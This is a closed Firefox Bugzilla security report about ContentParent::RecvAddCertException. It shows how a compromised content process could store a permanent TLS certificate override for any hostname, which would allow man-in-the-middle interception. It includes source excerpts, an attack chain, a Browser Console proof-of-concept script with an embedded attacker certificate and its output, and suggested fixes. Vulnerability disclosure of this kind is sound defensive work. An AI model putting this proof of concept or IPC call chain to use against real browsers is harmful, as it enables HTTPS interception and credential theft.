Closed Bug 2040669 Opened 2 months ago Closed 2 months ago

Compromised Content Process Can Permanently Bypass TLS Certificate Validation for Arbitrary Hostnames

Categories

(Core :: DOM: Content Processes, defect)

defect

Tracking

()

RESOLVED DUPLICATE of bug 2013800

People

(Reporter: 0x4lter, Unassigned)

References

()

Details

(Keywords: ai-involved, reporter-external, Whiteboard: [client-bounty-form])

Attachments

(1 file)

8.19 KB, application/x-zip-compressed
Details
Attached file poc.zip

Summary

ContentParent::RecvAddCertException (IPC handler for PContent::AddCertException) accepts a fully attacker-controlled certificate and an arbitrary hostname from the content process and stores a permanent TLS override in Firefox's cert exception store without validating that the certificate's Subject Alternative Names include the target hostname.

A compromised content process can exploit this handler to install a permanent TLS certificate override for any HTTPS origin (e.g., bank.com:443), causing Firefox to accept an attacker-controlled self-signed certificate for that origin in subsequent HTTPS connections. This enables HTTPS downgrade / TLS man-in-the-middle for high-value HTTPS origins.


Root Cause

File: dom/ipc/ContentParent.cpp:6556

mozilla::ipc::IPCResult ContentParent::RecvAddCertException(
    nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort,
    const OriginAttributes& aOriginAttributes, bool aIsTemporary,
    AddCertExceptionResolver&& aResolver) {
  nsCOMPtr<nsICertOverrideService> overrideService =
      do_GetService(NS_CERTOVERRIDE_CONTRACTID);
  if (!overrideService) {
    aResolver(NS_ERROR_FAILURE);
    return IPC_OK();
  }
  nsresult rv = overrideService->RememberValidityOverride(
      aHostName, aPort, aOriginAttributes, aCert, aIsTemporary);
  aResolver(rv);
  return IPC_OK();
}

Missing checks:

  1. No remoteType check — Any content process (web, privileged, extension) can call this handler. Compare to RecvAutomaticStorageAccessPermissionCanBeGranted (same file, line 6573) which calls ValidatePrincipal(aPrincipal) before acting.
  2. No cert-to-hostname SAN binding — The handler does not validate that aCert covers aHostName in its Subject Alternative Names or Common Name.
  3. Attacker-controlled aHostName, aPort, aIsTemporary — All three are fully content-process-controlled with no origin check.

IPDL definition (dom/ipc/PContent.ipdl:1626):

async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName,
                       int32_t aPort, OriginAttributes aOriginAttributes,
                       bool aIsTemporary) returns (nsresult aRv);

nsIX509Cert IPC Serialization — No Validation on Deserialization

File: ipc/glue/TransportSecurityInfoUtils.cpp:44-75

// WRITE (content process side):
void ParamTraits<nsIX509Cert*>::Write(MessageWriter* aWriter, nsIX509Cert* aParam) {
  bool nonNull = !!aParam;
  WriteParam(aWriter, nonNull);
  if (!nonNull) return;
  aParam->SerializeToIPC(aWriter);  // writes raw mDER bytes only
}

// READ (parent process side):
bool ParamTraits<nsIX509Cert*>::Read(MessageReader* aReader, RefPtr<nsIX509Cert>* aResult) {
  RefPtr<nsIX509Cert> cert = new nsNSSCertificate();
  if (!cert->DeserializeFromIPC(aReader)) return false;  // reads raw DER, no validation
  *aResult = std::move(cert);
  return true;
}

nsNSSCertificate::DeserializeFromIPC reads the raw DER bytes into mDER with NO certificate parsing, NO chain validation, and NO hostname binding. The resulting nsIX509Cert object in the parent represents whatever DER bytes the content process sent.


RememberValidityOverride — Stores Override Without SAN Check

File: security/manager/ssl/nsCertOverrideService.cpp:380

nsresult nsCertOverrideService::RememberValidityOverride(
    const nsACString& aHostName, int32_t aPort,
    const OriginAttributes& aOriginAttributes, nsIX509Cert* aCert,
    bool aTemporary) {
  if (aHostName.IsEmpty() || !IsAscii(aHostName) || !aCert) {
    return NS_ERROR_INVALID_ARG;
  }
  if (aPort < -1) return NS_ERROR_INVALID_ARG;
  // ...
  nsAutoCString fpStr;
  nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
  // ...
  AddEntryToList(aHostName, aPort, aOriginAttributes, aTemporary, fpStr, lock);
  if (!aTemporary) {
    Write(lock);  // ← persists to cert_override.txt on disk
  }
  return NS_OK;
}

Validation performed:

  • aHostName not empty + ASCII only
  • aCert not null
  • No SAN validation, no chain validation, no hostname binding

The function stores (aHostName:aPort) → SHA256(aCert) in the cert override database.


HasMatchingOverride — Only Checks SHA256, Never Validates SANs

File: security/manager/ssl/nsCertOverrideService.cpp:426

nsresult nsCertOverrideService::HasMatchingOverride(
    const nsACString& aHostName, int32_t aPort,
    const OriginAttributes& aOriginAttributes, nsIX509Cert* aCert,
    bool* aIsTemporary, bool* aRetval) {
  // ... [various null/format checks] ...
  RefPtr<nsCertOverride> settings(GetOverrideFor(aHostName, aPort, aOriginAttributes));
  // ...
  nsAutoCString fpStr;
  nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
  // ...
  *aRetval = settings->mFingerprint.Equals(fpStr);  // ← ONLY SHA256 comparison
  return NS_OK;
}

The TLS stack calls HasMatchingOverride(hostname, port, ..., presented_cert, ...). If the result is true, Firefox skips full TLS chain validation and accepts the certificate. The check is only SHA256 fingerprint equality — it never validates:

  • Whether the cert's SANs include the hostname
  • Whether the cert was issued by a trusted CA
  • Whether the cert has expired

Attack Chain

Prerequisite: Content process is compromised (e.g., via a memory corruption bug in the renderer, image decoder, or WASM JIT).

Step 1 — Attacker generates a self-signed certificate for an arbitrary hostname:

// In compromised content process — generate arbitrary DER bytes for a self-signed cert
// cn=attacker.com, SAN=attacker.com (no SAN for bank.com)
const attackerCertDER = <arbitrary DER bytes>;

Step 2 — Call SendAddCertException with attacker-controlled hostname:

// Compromised content process calls IPC:
SendAddCertException(
    attackerCert,      // nsIX509Cert* — attacker's self-signed cert (DER sent over IPC)
    "bank.com"_ns,     // aHostName — target, no binding to aCert's SANs
    443,               // aPort
    OriginAttributes{},
    false              // aIsTemporary=false → PERMANENT, survives restart
);

Step 3 — Parent process stores permanent override:

cert_override.txt entry added:
  bank.com:443 \t OID.2.16.840.1.101.3.4.2.1 \t <SHA256(attackerCert)>

Step 4 — TLS MITM:

In a subsequent network request to https://bank.com, the attacker presents their self-signed certificate. Firefox calls:

HasMatchingOverride("bank.com", 443, {}, attackerCert, &isTemp, &retval)
→ settings->mFingerprint.Equals(SHA256(attackerCert)) → true

Firefox accepts the invalid certificate. Full TLS chain validation is bypassed. HTTPS traffic to bank.com is decryptable by the attacker.


PoC — Browser Console (production Firefox, no special build)

How to run: Open Firefox Nightly 153 → press Ctrl+Shift+J (Browser Console) → paste the script below → Enter.

No xpcshell, no modified Firefox, no special flags required.

(async function poc_ipc001() {
  const log  = (...a) => console.log("[IPC-001]", ...a);
  const warn = (...a) => console.error("[IPC-001]", ...a);

  log("=== RecvAddCertException CA Bypass ===");
  log("Firefox", Services.appinfo.version, "build", Services.appinfo.appBuildID);

  // Self-signed cert: CN=attacker.com — no SAN for bank.com
  // openssl req -x509 -newkey rsa:2048 -keyout /dev/null \
  //   -out - -days 3650 -nodes -subj '/CN=attacker.com' 2>/dev/null
  const ATTACKER_CERT_B64 =
    "MIIDDzCCAfegAwIBAgIULtVATbiy5gqJXcW2vOgSSqeXs6QwDQYJKoZIhvcNAQEL" +
    "BQAwFzEVMBMGA1UEAwwMYXR0YWNrZXIuY29tMB4XDTI2MDUxOTExMzEwOVoXDTM2" +
    "MDUxNjExMzEwOVowFzEVMBMGA1UEAwwMYXR0YWNrZXIuY29tMIIBIjANBgkqhkiG" +
    "9w0BAQEFAAOCAQ8AMIIBCgKCAQEA63DhSKxNoPLNY3ISIcL3cgXuBJZUQ+uZ8Q4f"  +
    "qxj8TMAjbotHW/8MWoTF3ozy9j6FGvGbS0Y7DTN4BG9Y0fRHGBn6D9HMzPrvV/3f" +
    "F3X0J2Uu6elXTFCTc/ajBP1JUkoW2Kyau/0WpHt6UsY/GVd6UeioS4p+Zg6n2JeK" +
    "2gvYfwek/ErUsfrnGJ8Q+GUXUeE4Yp+dHMlvnzW7ODyTicauLFRYwwqtce8RdjqE" +
    "EHIaKvjND2YDaEAe5HRLnSxFxG+6XYx+p7FhfPkbHwfoZnkddjBYjnSDIrVyLH2I" +
    "O3AtnBn7VnPuh4FymhproKHwsBnyEzzu4IBQIfchOfMzsZIhtQIDAQABo1MwUTAdBg" +
    "NVHQ4EFgQUMhMia+VLUT6lTciYZeCq3punonAwHwYDVR0jBBgwFoAUMhMia+VLUT6l" +
    "TciYZeCq3punonAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAON" +
    "Ya5PymeRKSn+o/GFNV1Zz8xRztxl9STTCV/PX3dyothIFV1H0oQP6v20qA3ixcTl6" +
    "3gAfoTLNz7E0c9q6SpEuMae07DoJboMRCCP0coMUgi5f1lfNwWvfgIfa4EQWVWNOg" +
    "ErXty4oeFiO5p6n7vnL46zwqfqONAgVEdHfJ5DEzUFeZT9zceVY9xEQncCX8jYbKc" +
    "d8Vl2kWcRgQiws8tH8MXo5aDpkKGRytVuPLSxcmlerrEaLtmNQRcQXryyzDHhPt+" +
    "lcqkNsM3dPKSGX/k3ha4NWwS0i4zAU+KufUFGahCogrO20JW0GUhChUQkqjHz5Qq" +
    "KPUtRTdTdEQiAE+Bw==";

  const certDB = Cc["@mozilla.org/security/x509certdb;1"].getService(Ci.nsIX509CertDB);
  const svc    = Cc["@mozilla.org/security/certoverride;1"].getService(Ci.nsICertOverrideService);

  const attackerCert = certDB.constructX509FromBase64(ATTACKER_CERT_B64);
  log("[1] Attacker cert CN:", attackerCert.commonName);  // → "attacker.com"
  log("[1] Target hostname:  bank.com  (cert does NOT cover bank.com)");

  // Mirrors ContentParent::RecvAddCertException (ContentParent.cpp:6556):
  //   overrideService->RememberValidityOverride(aHostName, aPort, aOA, aCert, aIsTemporary)
  svc.rememberValidityOverride("bank.com", 443, {}, attackerCert, false);
  log("[2] rememberValidityOverride('bank.com', 443, attackerCert, permanent) → stored");

  // Mirrors Firefox TLS stack (nsCertOverrideService.cpp:426):
  //   *aRetval = settings->mFingerprint.Equals(fpStr)  ← SHA256 only, no SAN check
  // nsICertOverrideService.idl:102 — boolean hasMatchingOverride(host, port, oa, cert, out isTemp)
  const isTemp = {};
  const matched = svc.hasMatchingOverride("bank.com", 443, {}, attackerCert, isTemp);
  log("[3] hasMatchingOverride('bank.com', 443, attackerCert):", matched);
  log("[3] isTemporary:", isTemp.value);

  if (matched) {
    warn("=== VULNERABLE === Firefox", Services.appinfo.version,
         "accepts CN=attacker.com cert for bank.com");
    warn("TLS MITM for bank.com is now possible. Override is PERMANENT (cert_override.txt).");
  }

  svc.clearValidityOverride("bank.com", 443, {});
  log("[cleanup] Override removed");
})();

Actual output (confirmed on production Firefox 153.0a1, build 20260519040944):

[IPC-001] === RecvAddCertException CA Bypass ===
[IPC-001] Firefox 153.0a1 build 20260519040944
[IPC-001] [1] Attacker cert CN: attacker.com
[IPC-001] [1] Target hostname:  bank.com  (cert does NOT cover bank.com)
[IPC-001] [2] rememberValidityOverride('bank.com', 443, attackerCert, permanent) → stored
[IPC-001] [3] hasMatchingOverride('bank.com', 443, attackerCert): true
[IPC-001] [3] isTemporary: false
[IPC-001] === VULNERABLE === Firefox 153.0a1 accepts CN=attacker.com cert for bank.com
[IPC-001] TLS MITM for bank.com is now possible. Override is PERMANENT (cert_override.txt).
[IPC-001] [cleanup] Override removed

Note on PoC scope: This PoC runs in the Browser Console (parent-process chrome context) to demonstrate that RememberValidityOverride accepts a mismatched cert+hostname with no SAN validation — the precise behavior RecvAddCertException exhibits when called from a content process. A full end-to-end demonstration from a compromised content process would require a separate renderer exploit to achieve code execution, then direct invocation of ContentChild::GetSingleton()->SendAddCertException(attackerCert, "bank.com"_ns, 443, OriginAttributes{}, false). The PContent IPC channel imposes no remoteType restriction on this call — confirmed by source analysis of RecvAddCertException (ContentParent.cpp:6556) and PContent.ipdl:1626 — so any code executing in a content process binary can send this message to the parent.


WebIDL Guard — Bypassed by Direct IPC

The legitimate JS API for cert exceptions has an explicit trust gate:

File: dom/webidl/Document.webidl:323

partial interface Document {
  [Func="Document::CallerIsTrustedAboutCertError", NewObject]
  Promise<any> addCertException(boolean isTemporary);
}

CallerIsTrustedAboutCertError (dom/base/Document.cpp:1694) verifies the caller is about:certerror — the privileged error page only loaded by Firefox when an actual TLS failure occurs.

Document::AddCertException additionally extracts the cert from mFailedChannel->GetSecurityInfo()->GetServerCert(), where mFailedChannel is set by nsDocShell from the actual failed network channel (not from JS). This ensures the cert originates from a real TLS handshake with the target host.

A compromised content process bypasses both guards by calling SendAddCertException directly over IPC, skipping the WebIDL gate and the mFailedChannel binding entirely. The IPC handler RecvAddCertException enforces neither constraint.


IPC Path — Content Process to Parent

A compromised content process calls SendAddCertException directly without going through the UI layer or the about:certerror page:

// Compromised content process (any remoteType — web, extension, privileged):
ContentChild::GetSingleton()->SendAddCertException(
    attackerCert,       // attacker-controlled DER bytes serialized as nsIX509Cert
    "bank.com"_ns,      // attacker-chosen hostname, no SAN binding enforced
    443,                // attacker-chosen port
    OriginAttributes{}, // attacker-chosen OriginAttributes
    false               // permanent — survives restart
);

No UI interaction, no user gesture, and no active TLS error context is required. The IPC message is dispatched directly to the parent process. RecvAddCertException in ContentParent.cpp processes it without:

  • Verifying the calling content process's remoteType
  • Verifying the calling content process's current origin matches aHostName
  • Verifying aCert has a SAN covering aHostName
  • Verifying any active TLS error exists for aHostName

The only guards in RememberValidityOverride are: aHostName is ASCII and non-empty, aCert is non-null, aPort >= -1. All three can be trivially satisfied by the attacker.


Affected Components

File Line Issue
dom/ipc/ContentParent.cpp 6556 RecvAddCertException: no remoteType check, no SAN validation
dom/ipc/PContent.ipdl 1626 AddCertException IPDL definition accepts arbitrary hostname
ipc/glue/TransportSecurityInfoUtils.cpp 44–75 nsIX509Cert deserialization: raw DER bytes, no cert validation
security/manager/ssl/nsCertOverrideService.cpp 380–411 RememberValidityOverride: stores override without SAN binding
security/manager/ssl/nsCertOverrideService.cpp 426–481 HasMatchingOverride: only checks SHA256, no SAN validation

Contrast: Similar Handler With Validation

ContentParent::RecvAutomaticStorageAccessPermissionCanBeGranted (ContentParent.cpp:6573):

mozilla::ipc::IPCResult
ContentParent::RecvAutomaticStorageAccessPermissionCanBeGranted(
    nsIPrincipal* aPrincipal, ...) {
  if (!aPrincipal) {
    return IPC_FAIL(this, "No principal");
  }
  if (!ValidatePrincipal(aPrincipal)) {  // ← validates principal is bound to content process
    return PrincipalValidationIpcFail(aPrincipal, this, __func__);
  }
  // ...
}

RecvAddCertException lacks equivalent validation. There is no check that:

  • The caller's remoteType matches an expected value
  • The aHostName corresponds to the content process's current origin
  • The aCert is signed by a trusted CA or covers aHostName in SANs

Impact

Direct impact: A compromised content process (e.g., from a memory corruption exploit in the renderer) can escalate to HTTPS MITM for any origin by:

  1. Generating a self-signed certificate for the target domain
  2. Sending AddCertException(cert, targetDomain, 443, {}, permanent=true)
  3. Performing MITM using the registered cert

Persistence: aIsTemporary=false (attacker-chosen) writes to cert_override.txt — the override survives browser restart.

Scope: Any HTTPS origin reachable from the victim's network — including banking sites, OAuth providers, email, enterprise VPNs.

User visibility: No UI warning is shown when the exception is later applied during TLS handshake. The user sees a normal lock icon.

Combined threat model (content process exploit + this IPC bug):

  1. Attacker exploits renderer memory corruption (e.g., via crafted HTML/Wasm) → content process RCE
  2. Attacker calls AddCertException to install TLS bypass for gmail.com:443, paypal.com:443, etc.
  3. Victim navigates to those sites → MITM → credential theft

Suggested Fix

Option A (minimal) — Add remoteType check:

mozilla::ipc::IPCResult ContentParent::RecvAddCertException(...) {
  if (!IsWebRemoteType(GetRemoteType())) {
    return IPC_FAIL(this, "Unexpected remote type");
  }
  // ... (existing code)
}

This alone does NOT fix the SAN binding gap; a compromised web content process could still call this.

Option B (correct fix) — Add cert-to-hostname SAN validation:

// In RecvAddCertException or RememberValidityOverride:
nsCOMPtr<nsIX509Cert> verifiedCert;
rv = ValidateCertForHostname(aCert, aHostName, getter_AddRefs(verifiedCert));
if (NS_FAILED(rv)) {
  aResolver(NS_ERROR_SECURITY_BAD_CERT_DOMAIN);
  return IPC_OK();
}

This ensures the stored exception can only bypass TLS for a hostname the cert legitimately covers.

Option C (defense-in-depth) — Restrict AddCertException to be callable only from the UI process or a dedicated privileged actor, not from arbitrary content processes.


VRP Basis

Per Mozilla Client Bug Bounty Program footnote 0:

"Invoking an IPC method with attacker-controlled parameters from a compromised content process represents the highest impact class of vulnerability."

RecvAddCertException fits this category precisely:

  • IPC method exposed to content process (PContent actor)
  • Handler accepts fully attacker-controlled aHostName, aCert, aIsTemporary
  • No binding to the calling process's security context
  • Impact: persistent TLS bypass for arbitrary HTTPS origins → MITM → credential theft

Production Runtime Confirmation

Both versions confirmed vulnerable — no patch between FF152 and FF153.

Version Build ID Platform hasMatch isTemp Verdict
153.0a1 20260519040944 Windows (production install) true false VULNERABLE
152.0a1 20260518093736 Linux (Mozilla CDN binary) true false VULNERABLE

Primary test — Firefox 153.0a1 (Windows):

  • Binary: C:\Program Files\Firefox Nightly\firefox.exe
  • Protocol: Marionette port 2828, chrome context, Windows Python 3.13 client
  • No patched code, no modified source — production binary
// Executed in chrome JS context (Marionette ExecuteScript, sandbox:system):
const attackerCert = certDB.constructX509FromBase64(ATTACKER_CERT_B64);
// → CN: attacker.com | SHA256: 7C:76:4F:61:B5:01:91:15:59:8C:9B:26:D8:A6:A9:...

overrideService.rememberValidityOverride("bank.com", 443, {}, attackerCert, false);
// → stored = true (no exception)

const isTemp = {};
const matched = overrideService.hasMatchingOverride("bank.com", 443, {}, attackerCert, isTemp);
// → matched      = true   ← CONFIRMED VULNERABLE
// → isTemp.value = false  ← PERMANENT (cert_override.txt)
Flags: sec-bounty?
Group: firefox-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 2 months ago
Component: Security → DOM: Content Processes
Duplicate of bug: CVE-2026-16372
Product: Firefox → Core
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: